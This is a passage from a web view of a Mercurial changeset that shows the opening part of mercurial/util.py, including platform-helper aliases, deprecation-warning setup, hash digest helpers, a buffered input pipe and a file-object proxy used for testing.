##// END OF EJS Templates
typing: suppress a warning that mercurial.windows.checkosfilename is missing...
Matt Harbison -
r44335:09bcbeac default
parent child Browse files
Show More
@@ -1,3598 +1,3599 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 procutil,
56 procutil,
57 stringutil,
57 stringutil,
58 )
58 )
59
59
60 base85 = policy.importmod('base85')
60 base85 = policy.importmod('base85')
61 osutil = policy.importmod('osutil')
61 osutil = policy.importmod('osutil')
62
62
63 b85decode = base85.b85decode
63 b85decode = base85.b85decode
64 b85encode = base85.b85encode
64 b85encode = base85.b85encode
65
65
66 cookielib = pycompat.cookielib
66 cookielib = pycompat.cookielib
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 safehasattr = pycompat.safehasattr
69 safehasattr = pycompat.safehasattr
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 bytesio = pycompat.bytesio
71 bytesio = pycompat.bytesio
72 # TODO deprecate stringio name, as it is a lie on Python 3.
72 # TODO deprecate stringio name, as it is a lie on Python 3.
73 stringio = bytesio
73 stringio = bytesio
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 httpserver = urllibcompat.httpserver
76 httpserver = urllibcompat.httpserver
77 urlerr = urllibcompat.urlerr
77 urlerr = urllibcompat.urlerr
78 urlreq = urllibcompat.urlreq
78 urlreq = urllibcompat.urlreq
79
79
80 # workaround for win32mbcs
80 # workaround for win32mbcs
81 _filenamebytestr = pycompat.bytestr
81 _filenamebytestr = pycompat.bytestr
82
82
83 if pycompat.iswindows:
83 if pycompat.iswindows:
84 from . import windows as platform
84 from . import windows as platform
85 else:
85 else:
86 from . import posix as platform
86 from . import posix as platform
87
87
88 _ = i18n._
88 _ = i18n._
89
89
90 bindunixsocket = platform.bindunixsocket
90 bindunixsocket = platform.bindunixsocket
91 cachestat = platform.cachestat
91 cachestat = platform.cachestat
92 checkexec = platform.checkexec
92 checkexec = platform.checkexec
93 checklink = platform.checklink
93 checklink = platform.checklink
94 copymode = platform.copymode
94 copymode = platform.copymode
95 expandglobs = platform.expandglobs
95 expandglobs = platform.expandglobs
96 getfsmountpoint = platform.getfsmountpoint
96 getfsmountpoint = platform.getfsmountpoint
97 getfstype = platform.getfstype
97 getfstype = platform.getfstype
98 groupmembers = platform.groupmembers
98 groupmembers = platform.groupmembers
99 groupname = platform.groupname
99 groupname = platform.groupname
100 isexec = platform.isexec
100 isexec = platform.isexec
101 isowner = platform.isowner
101 isowner = platform.isowner
102 listdir = osutil.listdir
102 listdir = osutil.listdir
103 localpath = platform.localpath
103 localpath = platform.localpath
104 lookupreg = platform.lookupreg
104 lookupreg = platform.lookupreg
105 makedir = platform.makedir
105 makedir = platform.makedir
106 nlinks = platform.nlinks
106 nlinks = platform.nlinks
107 normpath = platform.normpath
107 normpath = platform.normpath
108 normcase = platform.normcase
108 normcase = platform.normcase
109 normcasespec = platform.normcasespec
109 normcasespec = platform.normcasespec
110 normcasefallback = platform.normcasefallback
110 normcasefallback = platform.normcasefallback
111 openhardlinks = platform.openhardlinks
111 openhardlinks = platform.openhardlinks
112 oslink = platform.oslink
112 oslink = platform.oslink
113 parsepatchoutput = platform.parsepatchoutput
113 parsepatchoutput = platform.parsepatchoutput
114 pconvert = platform.pconvert
114 pconvert = platform.pconvert
115 poll = platform.poll
115 poll = platform.poll
116 posixfile = platform.posixfile
116 posixfile = platform.posixfile
117 readlink = platform.readlink
117 readlink = platform.readlink
118 rename = platform.rename
118 rename = platform.rename
119 removedirs = platform.removedirs
119 removedirs = platform.removedirs
120 samedevice = platform.samedevice
120 samedevice = platform.samedevice
121 samefile = platform.samefile
121 samefile = platform.samefile
122 samestat = platform.samestat
122 samestat = platform.samestat
123 setflags = platform.setflags
123 setflags = platform.setflags
124 split = platform.split
124 split = platform.split
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
125 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
126 statisexec = platform.statisexec
126 statisexec = platform.statisexec
127 statislink = platform.statislink
127 statislink = platform.statislink
128 umask = platform.umask
128 umask = platform.umask
129 unlink = platform.unlink
129 unlink = platform.unlink
130 username = platform.username
130 username = platform.username
131
131
132 # small compat layer
132 # small compat layer
133 compengines = compression.compengines
133 compengines = compression.compengines
134 SERVERROLE = compression.SERVERROLE
134 SERVERROLE = compression.SERVERROLE
135 CLIENTROLE = compression.CLIENTROLE
135 CLIENTROLE = compression.CLIENTROLE
136
136
137 try:
137 try:
138 recvfds = osutil.recvfds
138 recvfds = osutil.recvfds
139 except AttributeError:
139 except AttributeError:
140 pass
140 pass
141
141
142 # Python compatibility
142 # Python compatibility
143
143
144 _notset = object()
144 _notset = object()
145
145
146
146
147 def bitsfrom(container):
147 def bitsfrom(container):
148 bits = 0
148 bits = 0
149 for bit in container:
149 for bit in container:
150 bits |= bit
150 bits |= bit
151 return bits
151 return bits
152
152
153
153
154 # python 2.6 still have deprecation warning enabled by default. We do not want
154 # python 2.6 still have deprecation warning enabled by default. We do not want
155 # to display anything to standard user so detect if we are running test and
155 # to display anything to standard user so detect if we are running test and
156 # only use python deprecation warning in this case.
156 # only use python deprecation warning in this case.
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
157 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
158 if _dowarn:
158 if _dowarn:
159 # explicitly unfilter our warning for python 2.7
159 # explicitly unfilter our warning for python 2.7
160 #
160 #
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
161 # The option of setting PYTHONWARNINGS in the test runner was investigated.
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
162 # However, module name set through PYTHONWARNINGS was exactly matched, so
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
163 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
164 # makes the whole PYTHONWARNINGS thing useless for our usecase.
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
165 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
166 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
168 if _dowarn and pycompat.ispy3:
168 if _dowarn and pycompat.ispy3:
169 # silence warning emitted by passing user string to re.sub()
169 # silence warning emitted by passing user string to re.sub()
170 warnings.filterwarnings(
170 warnings.filterwarnings(
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
171 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
172 )
172 )
173 warnings.filterwarnings(
173 warnings.filterwarnings(
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
174 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
175 )
175 )
176 # TODO: reinvent imp.is_frozen()
176 # TODO: reinvent imp.is_frozen()
177 warnings.filterwarnings(
177 warnings.filterwarnings(
178 'ignore',
178 'ignore',
179 'the imp module is deprecated',
179 'the imp module is deprecated',
180 DeprecationWarning,
180 DeprecationWarning,
181 'mercurial',
181 'mercurial',
182 )
182 )
183
183
184
184
185 def nouideprecwarn(msg, version, stacklevel=1):
185 def nouideprecwarn(msg, version, stacklevel=1):
186 """Issue an python native deprecation warning
186 """Issue an python native deprecation warning
187
187
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
188 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
189 """
189 """
190 if _dowarn:
190 if _dowarn:
191 msg += (
191 msg += (
192 b"\n(compatibility will be dropped after Mercurial-%s,"
192 b"\n(compatibility will be dropped after Mercurial-%s,"
193 b" update your code.)"
193 b" update your code.)"
194 ) % version
194 ) % version
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
195 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
196
196
197
197
198 DIGESTS = {
198 DIGESTS = {
199 b'md5': hashlib.md5,
199 b'md5': hashlib.md5,
200 b'sha1': hashlib.sha1,
200 b'sha1': hashlib.sha1,
201 b'sha512': hashlib.sha512,
201 b'sha512': hashlib.sha512,
202 }
202 }
203 # List of digest types from strongest to weakest
203 # List of digest types from strongest to weakest
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
204 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
205
205
206 for k in DIGESTS_BY_STRENGTH:
206 for k in DIGESTS_BY_STRENGTH:
207 assert k in DIGESTS
207 assert k in DIGESTS
208
208
209
209
210 class digester(object):
210 class digester(object):
211 """helper to compute digests.
211 """helper to compute digests.
212
212
213 This helper can be used to compute one or more digests given their name.
213 This helper can be used to compute one or more digests given their name.
214
214
215 >>> d = digester([b'md5', b'sha1'])
215 >>> d = digester([b'md5', b'sha1'])
216 >>> d.update(b'foo')
216 >>> d.update(b'foo')
217 >>> [k for k in sorted(d)]
217 >>> [k for k in sorted(d)]
218 ['md5', 'sha1']
218 ['md5', 'sha1']
219 >>> d[b'md5']
219 >>> d[b'md5']
220 'acbd18db4cc2f85cedef654fccc4a4d8'
220 'acbd18db4cc2f85cedef654fccc4a4d8'
221 >>> d[b'sha1']
221 >>> d[b'sha1']
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
222 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
223 >>> digester.preferred([b'md5', b'sha1'])
223 >>> digester.preferred([b'md5', b'sha1'])
224 'sha1'
224 'sha1'
225 """
225 """
226
226
227 def __init__(self, digests, s=b''):
227 def __init__(self, digests, s=b''):
228 self._hashes = {}
228 self._hashes = {}
229 for k in digests:
229 for k in digests:
230 if k not in DIGESTS:
230 if k not in DIGESTS:
231 raise error.Abort(_(b'unknown digest type: %s') % k)
231 raise error.Abort(_(b'unknown digest type: %s') % k)
232 self._hashes[k] = DIGESTS[k]()
232 self._hashes[k] = DIGESTS[k]()
233 if s:
233 if s:
234 self.update(s)
234 self.update(s)
235
235
236 def update(self, data):
236 def update(self, data):
237 for h in self._hashes.values():
237 for h in self._hashes.values():
238 h.update(data)
238 h.update(data)
239
239
240 def __getitem__(self, key):
240 def __getitem__(self, key):
241 if key not in DIGESTS:
241 if key not in DIGESTS:
242 raise error.Abort(_(b'unknown digest type: %s') % k)
242 raise error.Abort(_(b'unknown digest type: %s') % k)
243 return nodemod.hex(self._hashes[key].digest())
243 return nodemod.hex(self._hashes[key].digest())
244
244
245 def __iter__(self):
245 def __iter__(self):
246 return iter(self._hashes)
246 return iter(self._hashes)
247
247
248 @staticmethod
248 @staticmethod
249 def preferred(supported):
249 def preferred(supported):
250 """returns the strongest digest type in both supported and DIGESTS."""
250 """returns the strongest digest type in both supported and DIGESTS."""
251
251
252 for k in DIGESTS_BY_STRENGTH:
252 for k in DIGESTS_BY_STRENGTH:
253 if k in supported:
253 if k in supported:
254 return k
254 return k
255 return None
255 return None
256
256
257
257
258 class digestchecker(object):
258 class digestchecker(object):
259 """file handle wrapper that additionally checks content against a given
259 """file handle wrapper that additionally checks content against a given
260 size and digests.
260 size and digests.
261
261
262 d = digestchecker(fh, size, {'md5': '...'})
262 d = digestchecker(fh, size, {'md5': '...'})
263
263
264 When multiple digests are given, all of them are validated.
264 When multiple digests are given, all of them are validated.
265 """
265 """
266
266
267 def __init__(self, fh, size, digests):
267 def __init__(self, fh, size, digests):
268 self._fh = fh
268 self._fh = fh
269 self._size = size
269 self._size = size
270 self._got = 0
270 self._got = 0
271 self._digests = dict(digests)
271 self._digests = dict(digests)
272 self._digester = digester(self._digests.keys())
272 self._digester = digester(self._digests.keys())
273
273
274 def read(self, length=-1):
274 def read(self, length=-1):
275 content = self._fh.read(length)
275 content = self._fh.read(length)
276 self._digester.update(content)
276 self._digester.update(content)
277 self._got += len(content)
277 self._got += len(content)
278 return content
278 return content
279
279
280 def validate(self):
280 def validate(self):
281 if self._size != self._got:
281 if self._size != self._got:
282 raise error.Abort(
282 raise error.Abort(
283 _(b'size mismatch: expected %d, got %d')
283 _(b'size mismatch: expected %d, got %d')
284 % (self._size, self._got)
284 % (self._size, self._got)
285 )
285 )
286 for k, v in self._digests.items():
286 for k, v in self._digests.items():
287 if v != self._digester[k]:
287 if v != self._digester[k]:
288 # i18n: first parameter is a digest name
288 # i18n: first parameter is a digest name
289 raise error.Abort(
289 raise error.Abort(
290 _(b'%s mismatch: expected %s, got %s')
290 _(b'%s mismatch: expected %s, got %s')
291 % (k, v, self._digester[k])
291 % (k, v, self._digester[k])
292 )
292 )
293
293
294
294
295 try:
295 try:
296 buffer = buffer
296 buffer = buffer
297 except NameError:
297 except NameError:
298
298
299 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
300 if length is not None:
301 return memoryview(sliceable)[offset : offset + length]
301 return memoryview(sliceable)[offset : offset + length]
302 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
303
303
304
304
305 _chunksize = 4096
305 _chunksize = 4096
306
306
307
307
308 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
309 """a manually buffered input pipe
309 """a manually buffered input pipe
310
310
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
314
314
315 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
318
318
319 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
320 module from the python stdlib.
321 """
321 """
322
322
323 def __new__(cls, fh):
323 def __new__(cls, fh):
324 # If we receive a fileobjectproxy, we need to use a variation of this
324 # If we receive a fileobjectproxy, we need to use a variation of this
325 # class that notifies observers about activity.
325 # class that notifies observers about activity.
326 if isinstance(fh, fileobjectproxy):
326 if isinstance(fh, fileobjectproxy):
327 cls = observedbufferedinputpipe
327 cls = observedbufferedinputpipe
328
328
329 return super(bufferedinputpipe, cls).__new__(cls)
329 return super(bufferedinputpipe, cls).__new__(cls)
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def unbufferedread(self, size):
360 def unbufferedread(self, size):
361 if not self._eof and self._lenbuf == 0:
361 if not self._eof and self._lenbuf == 0:
362 self._fillbuffer(max(size, _chunksize))
362 self._fillbuffer(max(size, _chunksize))
363 return self._frombuffer(min(self._lenbuf, size))
363 return self._frombuffer(min(self._lenbuf, size))
364
364
365 def readline(self, *args, **kwargs):
365 def readline(self, *args, **kwargs):
366 if len(self._buffer) > 1:
366 if len(self._buffer) > 1:
367 # this should not happen because both read and readline end with a
367 # this should not happen because both read and readline end with a
368 # _frombuffer call that collapse it.
368 # _frombuffer call that collapse it.
369 self._buffer = [b''.join(self._buffer)]
369 self._buffer = [b''.join(self._buffer)]
370 self._lenbuf = len(self._buffer[0])
370 self._lenbuf = len(self._buffer[0])
371 lfi = -1
371 lfi = -1
372 if self._buffer:
372 if self._buffer:
373 lfi = self._buffer[-1].find(b'\n')
373 lfi = self._buffer[-1].find(b'\n')
374 while (not self._eof) and lfi < 0:
374 while (not self._eof) and lfi < 0:
375 self._fillbuffer()
375 self._fillbuffer()
376 if self._buffer:
376 if self._buffer:
377 lfi = self._buffer[-1].find(b'\n')
377 lfi = self._buffer[-1].find(b'\n')
378 size = lfi + 1
378 size = lfi + 1
379 if lfi < 0: # end of file
379 if lfi < 0: # end of file
380 size = self._lenbuf
380 size = self._lenbuf
381 elif len(self._buffer) > 1:
381 elif len(self._buffer) > 1:
382 # we need to take previous chunks into account
382 # we need to take previous chunks into account
383 size += self._lenbuf - len(self._buffer[-1])
383 size += self._lenbuf - len(self._buffer[-1])
384 return self._frombuffer(size)
384 return self._frombuffer(size)
385
385
386 def _frombuffer(self, size):
386 def _frombuffer(self, size):
387 """return at most 'size' data from the buffer
387 """return at most 'size' data from the buffer
388
388
389 The data are removed from the buffer."""
389 The data are removed from the buffer."""
390 if size == 0 or not self._buffer:
390 if size == 0 or not self._buffer:
391 return b''
391 return b''
392 buf = self._buffer[0]
392 buf = self._buffer[0]
393 if len(self._buffer) > 1:
393 if len(self._buffer) > 1:
394 buf = b''.join(self._buffer)
394 buf = b''.join(self._buffer)
395
395
396 data = buf[:size]
396 data = buf[:size]
397 buf = buf[len(data) :]
397 buf = buf[len(data) :]
398 if buf:
398 if buf:
399 self._buffer = [buf]
399 self._buffer = [buf]
400 self._lenbuf = len(buf)
400 self._lenbuf = len(buf)
401 else:
401 else:
402 self._buffer = []
402 self._buffer = []
403 self._lenbuf = 0
403 self._lenbuf = 0
404 return data
404 return data
405
405
406 def _fillbuffer(self, size=_chunksize):
406 def _fillbuffer(self, size=_chunksize):
407 """read data to the buffer"""
407 """read data to the buffer"""
408 data = os.read(self._input.fileno(), size)
408 data = os.read(self._input.fileno(), size)
409 if not data:
409 if not data:
410 self._eof = True
410 self._eof = True
411 else:
411 else:
412 self._lenbuf += len(data)
412 self._lenbuf += len(data)
413 self._buffer.append(data)
413 self._buffer.append(data)
414
414
415 return data
415 return data
416
416
417
417
418 def mmapread(fp):
418 def mmapread(fp):
419 try:
419 try:
420 fd = getattr(fp, 'fileno', lambda: fp)()
420 fd = getattr(fp, 'fileno', lambda: fp)()
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
421 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
422 except ValueError:
422 except ValueError:
423 # Empty files cannot be mmapped, but mmapread should still work. Check
423 # Empty files cannot be mmapped, but mmapread should still work. Check
424 # if the file is empty, and if so, return an empty buffer.
424 # if the file is empty, and if so, return an empty buffer.
425 if os.fstat(fd).st_size == 0:
425 if os.fstat(fd).st_size == 0:
426 return b''
426 return b''
427 raise
427 raise
428
428
429
429
430 class fileobjectproxy(object):
430 class fileobjectproxy(object):
431 """A proxy around file objects that tells a watcher when events occur.
431 """A proxy around file objects that tells a watcher when events occur.
432
432
433 This type is intended to only be used for testing purposes. Think hard
433 This type is intended to only be used for testing purposes. Think hard
434 before using it in important code.
434 before using it in important code.
435 """
435 """
436
436
437 __slots__ = (
437 __slots__ = (
438 '_orig',
438 '_orig',
439 '_observer',
439 '_observer',
440 )
440 )
441
441
442 def __init__(self, fh, observer):
442 def __init__(self, fh, observer):
443 object.__setattr__(self, '_orig', fh)
443 object.__setattr__(self, '_orig', fh)
444 object.__setattr__(self, '_observer', observer)
444 object.__setattr__(self, '_observer', observer)
445
445
446 def __getattribute__(self, name):
446 def __getattribute__(self, name):
447 ours = {
447 ours = {
448 '_observer',
448 '_observer',
449 # IOBase
449 # IOBase
450 'close',
450 'close',
451 # closed if a property
451 # closed if a property
452 'fileno',
452 'fileno',
453 'flush',
453 'flush',
454 'isatty',
454 'isatty',
455 'readable',
455 'readable',
456 'readline',
456 'readline',
457 'readlines',
457 'readlines',
458 'seek',
458 'seek',
459 'seekable',
459 'seekable',
460 'tell',
460 'tell',
461 'truncate',
461 'truncate',
462 'writable',
462 'writable',
463 'writelines',
463 'writelines',
464 # RawIOBase
464 # RawIOBase
465 'read',
465 'read',
466 'readall',
466 'readall',
467 'readinto',
467 'readinto',
468 'write',
468 'write',
469 # BufferedIOBase
469 # BufferedIOBase
470 # raw is a property
470 # raw is a property
471 'detach',
471 'detach',
472 # read defined above
472 # read defined above
473 'read1',
473 'read1',
474 # readinto defined above
474 # readinto defined above
475 # write defined above
475 # write defined above
476 }
476 }
477
477
478 # We only observe some methods.
478 # We only observe some methods.
479 if name in ours:
479 if name in ours:
480 return object.__getattribute__(self, name)
480 return object.__getattribute__(self, name)
481
481
482 return getattr(object.__getattribute__(self, '_orig'), name)
482 return getattr(object.__getattribute__(self, '_orig'), name)
483
483
484 def __nonzero__(self):
484 def __nonzero__(self):
485 return bool(object.__getattribute__(self, '_orig'))
485 return bool(object.__getattribute__(self, '_orig'))
486
486
487 __bool__ = __nonzero__
487 __bool__ = __nonzero__
488
488
489 def __delattr__(self, name):
489 def __delattr__(self, name):
490 return delattr(object.__getattribute__(self, '_orig'), name)
490 return delattr(object.__getattribute__(self, '_orig'), name)
491
491
492 def __setattr__(self, name, value):
492 def __setattr__(self, name, value):
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
493 return setattr(object.__getattribute__(self, '_orig'), name, value)
494
494
495 def __iter__(self):
495 def __iter__(self):
496 return object.__getattribute__(self, '_orig').__iter__()
496 return object.__getattribute__(self, '_orig').__iter__()
497
497
498 def _observedcall(self, name, *args, **kwargs):
498 def _observedcall(self, name, *args, **kwargs):
499 # Call the original object.
499 # Call the original object.
500 orig = object.__getattribute__(self, '_orig')
500 orig = object.__getattribute__(self, '_orig')
501 res = getattr(orig, name)(*args, **kwargs)
501 res = getattr(orig, name)(*args, **kwargs)
502
502
503 # Call a method on the observer of the same name with arguments
503 # Call a method on the observer of the same name with arguments
504 # so it can react, log, etc.
504 # so it can react, log, etc.
505 observer = object.__getattribute__(self, '_observer')
505 observer = object.__getattribute__(self, '_observer')
506 fn = getattr(observer, name, None)
506 fn = getattr(observer, name, None)
507 if fn:
507 if fn:
508 fn(res, *args, **kwargs)
508 fn(res, *args, **kwargs)
509
509
510 return res
510 return res
511
511
512 def close(self, *args, **kwargs):
512 def close(self, *args, **kwargs):
513 return object.__getattribute__(self, '_observedcall')(
513 return object.__getattribute__(self, '_observedcall')(
514 'close', *args, **kwargs
514 'close', *args, **kwargs
515 )
515 )
516
516
517 def fileno(self, *args, **kwargs):
517 def fileno(self, *args, **kwargs):
518 return object.__getattribute__(self, '_observedcall')(
518 return object.__getattribute__(self, '_observedcall')(
519 'fileno', *args, **kwargs
519 'fileno', *args, **kwargs
520 )
520 )
521
521
522 def flush(self, *args, **kwargs):
522 def flush(self, *args, **kwargs):
523 return object.__getattribute__(self, '_observedcall')(
523 return object.__getattribute__(self, '_observedcall')(
524 'flush', *args, **kwargs
524 'flush', *args, **kwargs
525 )
525 )
526
526
527 def isatty(self, *args, **kwargs):
527 def isatty(self, *args, **kwargs):
528 return object.__getattribute__(self, '_observedcall')(
528 return object.__getattribute__(self, '_observedcall')(
529 'isatty', *args, **kwargs
529 'isatty', *args, **kwargs
530 )
530 )
531
531
532 def readable(self, *args, **kwargs):
532 def readable(self, *args, **kwargs):
533 return object.__getattribute__(self, '_observedcall')(
533 return object.__getattribute__(self, '_observedcall')(
534 'readable', *args, **kwargs
534 'readable', *args, **kwargs
535 )
535 )
536
536
537 def readline(self, *args, **kwargs):
537 def readline(self, *args, **kwargs):
538 return object.__getattribute__(self, '_observedcall')(
538 return object.__getattribute__(self, '_observedcall')(
539 'readline', *args, **kwargs
539 'readline', *args, **kwargs
540 )
540 )
541
541
542 def readlines(self, *args, **kwargs):
542 def readlines(self, *args, **kwargs):
543 return object.__getattribute__(self, '_observedcall')(
543 return object.__getattribute__(self, '_observedcall')(
544 'readlines', *args, **kwargs
544 'readlines', *args, **kwargs
545 )
545 )
546
546
547 def seek(self, *args, **kwargs):
547 def seek(self, *args, **kwargs):
548 return object.__getattribute__(self, '_observedcall')(
548 return object.__getattribute__(self, '_observedcall')(
549 'seek', *args, **kwargs
549 'seek', *args, **kwargs
550 )
550 )
551
551
552 def seekable(self, *args, **kwargs):
552 def seekable(self, *args, **kwargs):
553 return object.__getattribute__(self, '_observedcall')(
553 return object.__getattribute__(self, '_observedcall')(
554 'seekable', *args, **kwargs
554 'seekable', *args, **kwargs
555 )
555 )
556
556
557 def tell(self, *args, **kwargs):
557 def tell(self, *args, **kwargs):
558 return object.__getattribute__(self, '_observedcall')(
558 return object.__getattribute__(self, '_observedcall')(
559 'tell', *args, **kwargs
559 'tell', *args, **kwargs
560 )
560 )
561
561
562 def truncate(self, *args, **kwargs):
562 def truncate(self, *args, **kwargs):
563 return object.__getattribute__(self, '_observedcall')(
563 return object.__getattribute__(self, '_observedcall')(
564 'truncate', *args, **kwargs
564 'truncate', *args, **kwargs
565 )
565 )
566
566
567 def writable(self, *args, **kwargs):
567 def writable(self, *args, **kwargs):
568 return object.__getattribute__(self, '_observedcall')(
568 return object.__getattribute__(self, '_observedcall')(
569 'writable', *args, **kwargs
569 'writable', *args, **kwargs
570 )
570 )
571
571
572 def writelines(self, *args, **kwargs):
572 def writelines(self, *args, **kwargs):
573 return object.__getattribute__(self, '_observedcall')(
573 return object.__getattribute__(self, '_observedcall')(
574 'writelines', *args, **kwargs
574 'writelines', *args, **kwargs
575 )
575 )
576
576
577 def read(self, *args, **kwargs):
577 def read(self, *args, **kwargs):
578 return object.__getattribute__(self, '_observedcall')(
578 return object.__getattribute__(self, '_observedcall')(
579 'read', *args, **kwargs
579 'read', *args, **kwargs
580 )
580 )
581
581
582 def readall(self, *args, **kwargs):
582 def readall(self, *args, **kwargs):
583 return object.__getattribute__(self, '_observedcall')(
583 return object.__getattribute__(self, '_observedcall')(
584 'readall', *args, **kwargs
584 'readall', *args, **kwargs
585 )
585 )
586
586
587 def readinto(self, *args, **kwargs):
587 def readinto(self, *args, **kwargs):
588 return object.__getattribute__(self, '_observedcall')(
588 return object.__getattribute__(self, '_observedcall')(
589 'readinto', *args, **kwargs
589 'readinto', *args, **kwargs
590 )
590 )
591
591
592 def write(self, *args, **kwargs):
592 def write(self, *args, **kwargs):
593 return object.__getattribute__(self, '_observedcall')(
593 return object.__getattribute__(self, '_observedcall')(
594 'write', *args, **kwargs
594 'write', *args, **kwargs
595 )
595 )
596
596
597 def detach(self, *args, **kwargs):
597 def detach(self, *args, **kwargs):
598 return object.__getattribute__(self, '_observedcall')(
598 return object.__getattribute__(self, '_observedcall')(
599 'detach', *args, **kwargs
599 'detach', *args, **kwargs
600 )
600 )
601
601
602 def read1(self, *args, **kwargs):
602 def read1(self, *args, **kwargs):
603 return object.__getattribute__(self, '_observedcall')(
603 return object.__getattribute__(self, '_observedcall')(
604 'read1', *args, **kwargs
604 'read1', *args, **kwargs
605 )
605 )
606
606
607
607
608 class observedbufferedinputpipe(bufferedinputpipe):
608 class observedbufferedinputpipe(bufferedinputpipe):
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
609 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
610
610
